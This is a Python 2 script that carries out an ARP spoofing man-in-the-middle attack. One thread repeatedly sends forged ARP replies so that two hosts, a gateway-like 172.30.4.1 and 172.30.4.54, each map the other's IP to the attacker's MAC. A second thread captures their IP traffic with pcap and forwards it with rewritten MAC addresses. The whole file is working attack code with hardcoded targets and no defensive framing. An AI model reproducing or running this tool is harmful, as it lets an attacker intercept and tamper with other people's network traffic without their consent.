import sys
import socket
import threading
import dpkt
import time
import pcap
from netFunctions import sti,stm,getHwAddr,get_ip_address,isIpUnicast,isBroadcast
from netArpMaker import NetArpMsg

class ArpSpoofer(threading.Thread):
    def __init__(self,interface,host1,host2):
        threading.Thread.__init__(self)
        self.__running = False
        self.__interface = interface
        self.__hosts = (
                        ( sti(host1["ip"]), stm(host1["mac"]) ),
                        ( sti(host2["ip"]), stm(host2["mac"]) )
                        )
        self.__sock = socket.socket(socket.AF_PACKET,socket.SOCK_RAW)
        self.__sock.bind((self.__interface,dpkt.ethernet.ETH_TYPE_ARP))
        self.__macAddress = getHwAddr(self.__interface)
        self.__interval = 5
        
    def __sendArp(self,arpMsg):
        self.__sock.send(str(arpMsg))
    
    def stop(self):
        self.__sock.close()
        self.__running = False
        
    def run(self):
        self.__running = True
        while self.__running:
            for index,hst in enumerate(self.__hosts):
                if index == 0:
                    fakedIndex = 1
                else:
                    fakedIndex = 0     
                self.__sendArp(NetArpMsg(self.__hosts[fakedIndex][0],stm(self.__macAddress),hst[0],hst[1]))
            time.sleep(self.__interval)

class PacketForwarder(threading.Thread):
    def __init__(self,interface,macHost1,macHost2):
        threading.Thread.__init__(self)
        self.__running = False
        self.__interface = interface
        self.__macAddress = getHwAddr(self.__interface,format="hex")
        self.__ipAddress = get_ip_address(self.__interface,format="hex")
        self.__pcap = pcap.pcap(self.__interface,4096,False,True)
        self.__sock = socket.socket(socket.AF_PACKET,socket.SOCK_RAW)
        self.__sock.bind((self.__interface,dpkt.ethernet.ETH_TYPE_IP))
        self.__mac = {
                      stm(macHost1):stm(macHost2),
                      stm(macHost2):stm(macHost1)
                      }
        print `self.__mac`
        
    def __parse(self,data):
        frame = dpkt.ethernet.Ethernet(data)
        if frame.type == dpkt.ethernet.ETH_TYPE_IP and frame.src != self.__macAddress and not isBroadcast(frame.dst):
            packet = frame.data
            if packet.dst != self.__ipAddress and isIpUnicast(packet.dst):
                newframe = dpkt.ethernet.Ethernet(data)
                newframe.src = self.__macAddress
                newframe.dst = self.__mac[frame.src]
                newframe.type = frame.type
                newframe.data = frame.data
                self.__forward(str(newframe))
            
    def __forward(self,data):
        try:
            self.__sock.send(data)     
        except:
            pass
        
    def stop(self):
        self.__sock.close()
        self.__running = False
        
    def run(self):
        self.__running = True
        while self.__running:
            ts, pkt = self.__pcap.next()
            self.__parse(pkt)
            
        



'''
====================
    MAIN ROUTINE
====================
'''

if __name__ == "__main__":
    
    intf = "eth0"

    host1 = {
             "ip":"172.30.4.1",
             "mac":"d0:d0:fd:a1:c8:46"
             }
    
    host2 = {
             "ip":"172.30.4.54",
             "mac":"14:da:e9:6e:4f:77"
             }
    
    spoof = ArpSpoofer(intf,host1,host2)
    spoof.start()
    router = PacketForwarder(intf,host1["mac"],host2["mac"])
    router.start()
    
    
    while True:
        if raw_input() == "quit":
            router.stop()
            spoof.stop()
            break
    sys.exit(0)